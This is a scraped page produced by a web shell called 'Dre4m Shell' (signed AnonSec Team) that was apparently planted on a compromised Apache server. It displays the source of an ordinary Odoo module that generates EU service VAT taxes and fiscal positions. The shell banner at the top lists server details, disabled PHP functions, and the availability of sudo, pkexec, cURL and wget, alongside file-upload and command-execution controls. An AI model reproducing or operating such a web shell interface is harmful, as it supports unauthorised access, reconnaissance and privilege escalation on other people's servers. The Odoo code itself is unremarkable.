Dre4m Shell
Server IP : 127.0.0.2  /  Your IP : 3.147.77.120
Web Server : Apache/2.4.18 (Ubuntu)
System :
User : www-data ( )
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : disk_free_space,disk_total_space,diskfreespace,dl,exec,fpaththru,getmyuid,getmypid,highlight_file,ignore_user_abord,leak,listen,link,opcache_get_configuration,opcache_get_status,passthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,php_uname,phpinfo,posix_ctermid,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix,_getppid,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_getsid,posix_getuid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_times,posix_ttyname,posix_uname,pclose,popen,proc_open,proc_close,proc_get_status,proc_nice,proc_terminate,shell_exec,source,show_source,system,virtual
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /opt/odoo/addons/l10n_eu_service/wizard/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /opt/odoo/addons/l10n_eu_service/wizard/wizard.py
# -*- coding: utf-8 -*-
# Part of Odoo. See LICENSE file for full copyright and licensing details.

from odoo import api, fields, models, _
from odoo.exceptions import Warning


class l10n_eu_service(models.TransientModel):
    """Create fiscal positions for EU Service VAT"""
    _name = "l10n_eu_service.wizard"
    _description = __doc__

    def _get_eu_res_country_group(self):
        eu_group = self.env.ref("base.europe", raise_if_not_found=False)
        if not eu_group:
            raise Warning(_('The Europe country group cannot be found. '
                            'Please update the base module.'))
        return eu_group

    def _get_default_company_id(self):
        return self.env.user.company_id.id

    def _default_fiscal_position_id(self):
        user = self.env.user
        eu_id = self._get_eu_res_country_group()
        return self.env['account.fiscal.position'].search(
            [('company_id', '=', user.company_id.id), ('vat_required', '=', True),
             ('country_group_id.id', '=', eu_id.id)], limit=1)

    def _default_tax_id(self):
        user = self.env.user
        return self.env['account.tax'].search(
            [('company_id', '=', user.company_id.id), ('type_tax_use', '=', 'sale'),
             ('amount_type', '=', 'percent'), ('account_id', '!=', False)], limit=1, order='amount desc')

    def _default_done_country_ids(self):
        user = self.env.user
        eu_country_group = self._get_eu_res_country_group()
        return eu_country_group.country_ids - self._default_todo_country_ids() - user.company_id.country_id

    def _default_todo_country_ids(self):
        user = self.env.user
        eu_country_group = self._get_eu_res_country_group()
        eu_fiscal = self.env['account.fiscal.position'].search(
            [('country_id', 'in', eu_country_group.country_ids.ids),
             ('vat_required', '=', False), ('auto_apply', '=', True),
             ('company_id', '=', user.company_id.id)])
        return eu_country_group.country_ids - eu_fiscal.mapped('country_id') - user.company_id.country_id

    company_id = fields.Many2one(
        'res.company', string='Company', required=True, default=_get_default_company_id)
    fiscal_position_id = fields.Many2one(
        'account.fiscal.position', string='Fiscal Position', default=_default_fiscal_position_id,
        help="Optional fiscal position to use as template for general account mapping. "
             "Should usually be your current Intra-EU B2B fiscal position. "
             "If not set, no general account mapping will be configured for EU fiscal positions.")
    tax_id = fields.Many2one(
        'account.tax', string='Service VAT', required=True, default=_default_tax_id,
        help="Select your current VAT tax for services. This is the tax that will be mapped "
             "to the corresponding VAT tax in each EU country selected below.")
    account_collected_id = fields.Many2one(
        "account.account", string="Tax Collection Account",
        help="Optional account to use for collecting tax amounts when selling services in "
             "each EU country selected below. If not set, the current collecting account of "
             "your Service VAT will be used.")
    done_country_ids = fields.Many2many(
        'res.country', 'l10n_eu_service_country_rel_done', default=_default_done_country_ids,
        string='Already Supported')
    todo_country_ids = fields.Many2many(
        'res.country', 'l10n_eu_service_country_rel_todo', default=_default_todo_country_ids,
        string='EU Customers From', required=True)

    @api.multi
    def generate_eu_service(self):
        tax_rate = self.env["l10n_eu_service.service_tax_rate"]
        account_tax = self.env['account.tax']
        fpos = self.env['account.fiscal.position']
        for country in self.todo_country_ids:
            format_params = {'country_name': country.name}
            tax_name = _("VAT for EU Services to %(country_name)s") % format_params
            #create a new tax based on the selected service tax
            data_tax = {
                'name': tax_name,
                'amount': tax_rate.search([('country_id', '=', country.id)]).rate,
                'account_id': self.account_collected_id.id or self.tax_id.account_id.id,
                'refund_account_id': self.account_collected_id.id or self.tax_id.refund_account_id.id,
                'type_tax_use': 'sale',
                'description': "EU-VAT-%s-S" % country.code,
                'sequence': 1000,
            }
            tax = account_tax.create(data_tax)
            if self.fiscal_position_id:
                account_ids = [(6, 0, self.fiscal_position_id.account_ids.ids)]
            else:
                account_ids = False
            #create a fiscal position for the country
            fiscal_pos_name = _("Intra-EU B2C in %(country_name)s") % {'country_name': country.name}
            fiscal_pos_name += " (EU-VAT-%s)" % country.code
            data_fiscal = {
                'name': fiscal_pos_name,
                'company_id': self.company_id.id,
                'vat_required': False,
                'auto_apply': True,
                'country_id': country.id,
                'account_ids': account_ids,
                'tax_ids': [(0, 0, {'tax_src_id': self.tax_id.id, 'tax_dest_id': tax.id})],
            }
            fpos.create(data_fiscal)

        return {'type': 'ir.actions.act_window_close'}

Anon7 - 2022
AnonSec Team